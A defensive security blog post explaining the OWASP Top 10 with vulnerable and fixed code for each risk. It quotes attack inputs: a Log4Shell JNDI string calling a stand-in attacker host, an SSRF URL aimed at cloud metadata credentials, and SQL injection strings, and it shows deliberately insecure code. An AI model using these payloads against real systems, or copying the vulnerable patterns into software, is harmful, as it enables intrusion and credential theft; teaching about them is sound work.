Hysn Logo
Back to Blogs

OWASP Top 10 Explained: Real Attack Examples and Code Fixes for All 10 Risks

V
Varun Kumar 8 min read 5 June 2026
OWASP Top 10

The OWASP Top 10 isn't a marketing document. It's derived from CVE databases, CWE frequency data, and contributions from hundreds of organizations reporting what actually gets exploited.

The 2021 edition synthesized data from over 500,000 applications. If something made this list, attackers are actively using it against production systems right now.

Certified DevSecOps Professional

Build secure CI/CD pipelines with SCA, SAST & DAST in 100+ labs.

View Course
Certified DevSecOps Professional

This guide goes through all ten categories with attack mechanics, vulnerable code, and working fixes. Not every item needs a SAST scanner. Some of them need a design review. I'll tell you which is which.

Most tutorials cover the names and move on. That's where they fail you. I'm going to show you what each attack looks like from an attacker's perspective, because if you don't understand the mechanics, you won't understand why the fix works.


A01: Broken Access Control

The most common finding in 2021 data, present in 94% of tested applications. The core issue: your app authenticates users correctly but then doesn't verify whether they're allowed to access specific resources.

What the attack looks like (IDOR):

yaml
# VULNERABLE: endpoint trusts the user-supplied order_id without checking [email protected]('/api/orders/<int:order_id>')@login_requireddef get_order(order_id): order = db.session.query(Order).filter_by(id=order_id).first() return jsonify(order.to_dict())

An attacker logs in as user 1001, then changes order_id to 1002. They get someone else's order. The login check passed. The authorization check never happened.

The fix:

yaml
# FIXED: always scope queries to the authenticated user's [email protected]('/api/orders/<int:order_id>')@login_requireddef get_order(order_id): order = db.session.query(Order).filter_by( id=order_id, user_id=current_user.id # ownership check ).first_or_404() return jsonify(order.to_dict())

What goes wrong in practice: Teams add authorization checks on the UI layer and forget the API. The UI hides the "admin" button. The API endpoint never checks if you're admin. Direct API calls bypass all of it.

Here's the second common pattern: function-level access control failures, where a user can reach admin endpoints by simply knowing the path:

yaml
# VULNERABLE: role check happens in middleware but can be bypassed# if the developer forgets to apply the [email protected]('/api/admin/users')def list_all_users():    # No @admin_required decorator — any authenticated user can reach this    users = db.session.query(User).all()    return jsonify([u.to_dict() for u in users])# FIXED: defense-in-depth — enforce role at the route level AND in the [email protected]('/api/admin/users')@login_required@require_role('admin')  # explicit, not implicitdef list_all_users():    if current_user.role != 'admin':        abort(403)  # belt and suspenders    users = db.session.query(User).all()    return jsonify([u.to_dict() for u in users])

The mistake here is relying on a single enforcement point. Decorators can be forgotten. Middleware can be misconfigured for specific routes. Defense-in-depth means checking authorization at both the framework level and the handler level.


A02: Cryptographic Failures

Previously called "Sensitive Data Exposure," which was a symptom, not the cause. The cause is always a broken cryptographic choice.

MD5 and SHA1 for passwords are not "weak encryption." They're the wrong tool entirely. Hash functions are fast by design. Password storage needs slowness. BCrypt runs ~100ms per hash on purpose.

go
# VULNERABLE: fast hash, crackable with rainbow tablesimport hashlibdef store_password(password):    return hashlib.md5(password.encode()).hexdigest()# FIXED: slow hash with salt, designed for passwordsimport bcryptdef store_password(password):    return bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt(rounds=12))def verify_password(plain, hashed):    return bcrypt.checkpw(plain.encode('utf-8'), hashed)


The rounds=12 parameter means 2^12 = 4096 iterations. Adjust this based on your server's tolerance. NIST SP 800-63B recommends at least 10,000 iterations for PBKDF2.

Also, transit encryption failing silently is a common failure mode. If your app accepts HTTP without redirect to HTTPS, or accepts TLS 1.0/1.1, that's A02.


A03: Injection

SQL injection has existed since web applications existed. It's still in the top three because developers keep building string concatenation queries.

The attack mechanic: The database can't distinguish between your SQL and user-supplied data when they're concatenated. Input ' OR '1'='1 terminates the string and appends logic the developer never wrote.

json
// VULNERABLE: classic string concatenationString query = "SELECT * FROM users WHERE username = '" + username + "'";Statement stmt = connection.createStatement();ResultSet rs = stmt.executeQuery(query);// Input: admin'-- dumps entire users table
// FIXED: parameterized query, data and code are separateString query = "SELECT * FROM users WHERE username = ?";PreparedStatement stmt = connection.prepareStatement(query);stmt.setString(1, username);ResultSet rs = stmt.executeQuery();

Same fix in Python with SQLAlchemy:

yaml
# FIXED: ORM parameterizationuser = db.session.query(User).filter(User.username == username).first()# or raw SQL with binding:result = db.session.execute(    text("SELECT * FROM users WHERE username = :name"),    {"name": username})

The fix isn't about escaping special characters. Parameterization ensures user input is never interpreted as SQL syntax. Escaping can be bypassed with encoding tricks. Parameterization can't.

A04: Insecure Design

This is the one SAST can't catch. No scanner tells you that your password reset flow allows an attacker to reset anyone's account by guessing a 4-digit PIN. That's a design flaw, not a coding flaw.

The mitigation is threat modeling done before writing code, specifically using STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) against your data flow diagrams.

I've seen teams treat threat modeling as a checkbox for compliance. It isn't. A 30-minute whiteboard session asking "how could someone abuse this feature?" before a sprint starts catches more issues than three weeks of SAST scanning after the code ships.

One real-world failure: a fintech app let users initiate ACH transfers. The design assumed users would only transfer from their own accounts. No server-side check enforced it. The account ID came from the client. This isn't a code bug. It's a missing requirement.


A05: Security Misconfiguration

Default credentials, enabled debug endpoints, verbose error messages. Grafana CVE-2019-15043 is the canonical example: the /api/snapshots endpoint required no authentication by default. Attackers queried dashboards from internal networks without logging in.

Debug endpoints left on in production are the most common thing I see in assessments. Spring Boot Actuator exposes /actuator/env (environment variables with secrets), /actuator/heapdump (full memory dump), and /actuator/logfile by default if you include the dependency without configuring it.

Default credentials (admin/admin, admin/password) still get used. Scan your Grafana, Jenkins, and Kubernetes dashboards before you think this doesn't apply to your environment.

A06: Vulnerable Components

CVE-2021-44228 (Log4Shell, CVSS 10.0) is the reason this category moved from #9 to #6. Log4j's JNDI lookup feature allowed attackers to send a string like ${jndi:ldap://attacker.com/a} in any logged field (User-Agent, username, X-Forwarded-For) and trigger remote code execution. No authentication. No user interaction required.

The attack mechanic: Log4j would log the string, see a JNDI expression, make an outbound LDAP request to the attacker-controlled server, which responded with a Java class to load and execute. RCE in one HTTP request.

What made this catastrophic wasn't the vulnerability itself. It was that organizations didn't know Log4j was in their stack. It came in through transitive dependencies. Your app depended on Library X, which depended on Library Y, which depended on Log4j.

yaml
# Find Log4j in your Java dependenciesfind /app -name "*.jar" | xargs -I{} sh -c 'jar tf {} 2>/dev/null | grep -l "log4j" && echo {}'# Or with Grype against a container imagegrype nginx:latest | grep -i log4j# Or with Trivytrivy image --severity CRITICAL,HIGH your-app:latest

You can't fix what you can't see. SBOMs (covered in A08) exist to solve this.


A07: Identification and Authentication Failures

Session fixation: attacker gets a session token before login, sends a link with that token to a victim, victim logs in, attacker's pre-login token is now authenticated. The fix is always regenerate the session token on login.

JWT validation failures are more common than they should be. Three specific mistakes:

  1. Accepting alg: none (attacker removes signature entirely)
  2. Not checking exp claim (expired tokens still work)
  3. Not validating iss claim (tokens from other services accepted)
go
# WRONG: naive decode without verificationimport jwtpayload = jwt.decode(token, options={"verify_signature": False})# CORRECT: full validationpayload = jwt.decode(    token,    secret_key,    algorithms=["HS256"],  # explicit allowlist    options={"require": ["exp", "iss", "iat"]})

Never accept RS256 tokens while your backend is configured for HS256. An attacker can take your public key, sign a token with it using HS256, and your validator accepts it if it doesn't enforce the algorithm.


A08: Software and Data Integrity Failures

SolarWinds: attackers compromised the Orion build pipeline. Signed, legitimate-looking updates were distributed to 18,000+ customers. The backdoor had been there for months before discovery.

XZ Utils (CVE-2024-3094, CVSS 10.0): a contributor spent two years building trust in the open source community before inserting a backdoor into a compression library that ships in most Linux distributions. This one didn't get exploited at scale only because a Microsoft engineer noticed unusual CPU usage.

Both attacks share a mechanic: they compromised something trusted before the final artifact. The artifact itself looked legitimate.

SLSA (Supply Levels for Software Artifacts) framework addresses this:

  • Level 1: Build process generates provenance. You can trace an artifact back to a build. This is the baseline, and it means nothing on its own without verification.
  • Level 2: Build service is hosted (not developer's laptop) and generates signed provenance. The signing key is controlled by the build platform, not the individual. This closes the "malicious developer builds locally" attack.
  • Level 3: Build environment is hardened and isolated. No persistent credentials in the build environment. Code review required before any change reaches the build. The build is reproducible: the same source, same toolchain, same output.
  • Level 4 (now merged into Level 3 in the SLSA v1.0 spec): Two-person review for all changes and hermetic, reproducible builds. At this level, a single compromised contributor can't push a backdoor to production without a second pair of eyes approving it.

Level 3 would have made SolarWinds significantly harder. The build environment was the attack surface. If the build had been isolated and its provenance signed by the build system, the injected code would have required compromising the build platform itself, not just a developer's credentials.

The practical starting point for most teams is Level 1: generate a signed SBOM for every build and store it alongside the artifact. Use Syft to generate the SBOM and cosign to sign the attestation:

yaml
# Generate SBOM for a container imagesyft your-app:v1.2.3 -o spdx-json > sbom.spdx.json# Sign the attestation with cosign (requires OIDC provider, e.g., GitHub Actions)cosign attest --type spdx --predicate sbom.spdx.json your-app:v1.2.3# Verify the attestation before deployingcosign verify-attestation --type spdx your-app:v1.2.3

Without an SBOM, you're in the same position as the organizations that didn't know Log4j was in their stack. With a signed SBOM, you can answer "does our fleet have log4j-core 2.14.1?" in seconds, not days.


A09: Logging and Monitoring Failures

What most apps ship: request log, error log, nothing else. What you actually need for incident response:

go
# WRONG: no context in logslogger.error("Login failed")# CORRECT: structured log with enough context to reconstruct eventsimport structloglog = structlog.get_logger()log.warning(    "authentication_failed",    username=username,  # not password, ever    ip_address=request.remote_addr,    user_agent=request.headers.get("User-Agent"),    timestamp=datetime.utcnow().isoformat(),    failure_reason="invalid_credentials")

Three things that should always be logged: authentication events (success and failure), access control decisions (especially denials), and data changes to sensitive records. Without these, you can't answer "when did this start?" during an incident.

What gets logged that shouldn't: passwords in query strings, credit card numbers in API request bodies, session tokens in URLs. Rotate anything you find in logs. Assume it's compromised.

A10: Server-Side Request Forgery (SSRF)

The attack: your server fetches a URL on behalf of the user. The attacker supplies http://169.254.169.254/latest/meta-data/iam/security-credentials/ as the URL. That's the AWS EC2 instance metadata service. You get back temporary IAM credentials.

From there, the credentials can be used to list S3 buckets, access secrets in Parameter Store, or pivot depending on the role attached to the instance.

go
# VULNERABLE: no validation on the URLimport [email protected]('/fetch')def fetch_url():    url = request.args.get('url')    response = requests.get(url)    return response.text
# FIXED: allowlist and block private rangesfrom urllib.parse import urlparseimport ipaddressALLOWED_SCHEMES = {'https'}BLOCKED_RANGES = [    ipaddress.ip_network('169.254.0.0/16'),   # link-local (AWS metadata)    ipaddress.ip_network('10.0.0.0/8'),        # private    ipaddress.ip_network('172.16.0.0/12'),     # private    ipaddress.ip_network('192.168.0.0/16'),    # private    ipaddress.ip_network('127.0.0.0/8'),       # loopback]def is_safe_url(url: str) -> bool:    parsed = urlparse(url)    if parsed.scheme not in ALLOWED_SCHEMES:        return False    try:        ip = ipaddress.ip_address(parsed.hostname)        for blocked in BLOCKED_RANGES:            if ip in blocked:                return False    except ValueError:        pass  # hostname, not IP — consider DNS rebinding risk    return True

DNS rebinding can bypass hostname checks: evil.com resolves to 169.254.169.254 after the validation check. Defense-in-depth: block on the network layer too using security groups and egress rules, not just in application code.


Run semgrep --config p/owasp-top-ten --error . in CI to catch the automatable subset. The ones that aren't automatable (A04, A08, A09) need process, not tools.

If you're working toward a role that covers the full SDLC from code to cloud, the Certified DevSecOps Professional program covers all ten of these categories with hands-on labs in real pipelines.

FAQ

No. The Top 10 covers the most common categories, not all vulnerabilities. Fixing these eliminates the low-hanging fruit attackers use to get initial access. Business logic flaws, zero-days, and infrastructure misconfigurations require additional effort beyond this list.

A01 (Broken Access Control) and A03 (Injection) historically account for the most exploits. Broken access control is hard to detect automatically. SQL injection is older but keeps appearing in new code. Both are preventable with proper code review processes.

No. Scanners reliably find A02, A03, A05, and A06. A01 (logic-dependent authorization), A04 (design flaws), and A08 (supply chain integrity) require human review, threat modeling, and pipeline controls. A tool-only approach leaves your most exploitable surface uncovered.

OWASP updates the list roughly every three to four years based on new CVE data and industry survey data. The 2021 version is current. Categories shift position but rarely disappear entirely. Injection has been in the top three since the list began.

Not directly. Neither standard mandates OWASP Top 10 specifically. But both require evidence of secure development practices, and mapping your SAST/DAST results to OWASP categories is an accepted way to demonstrate that you're addressing known vulnerability classes systematically.






V

Varun Kumar

Security Research Writer

Varun is a Security Research Writer specializing in DevSecOps, AI Security, and cloud-native security. He takes complex security topics and makes them straightforward. His articles provide security professionals with practical, research-backed insights they can actually use.

Related articles

All blogs →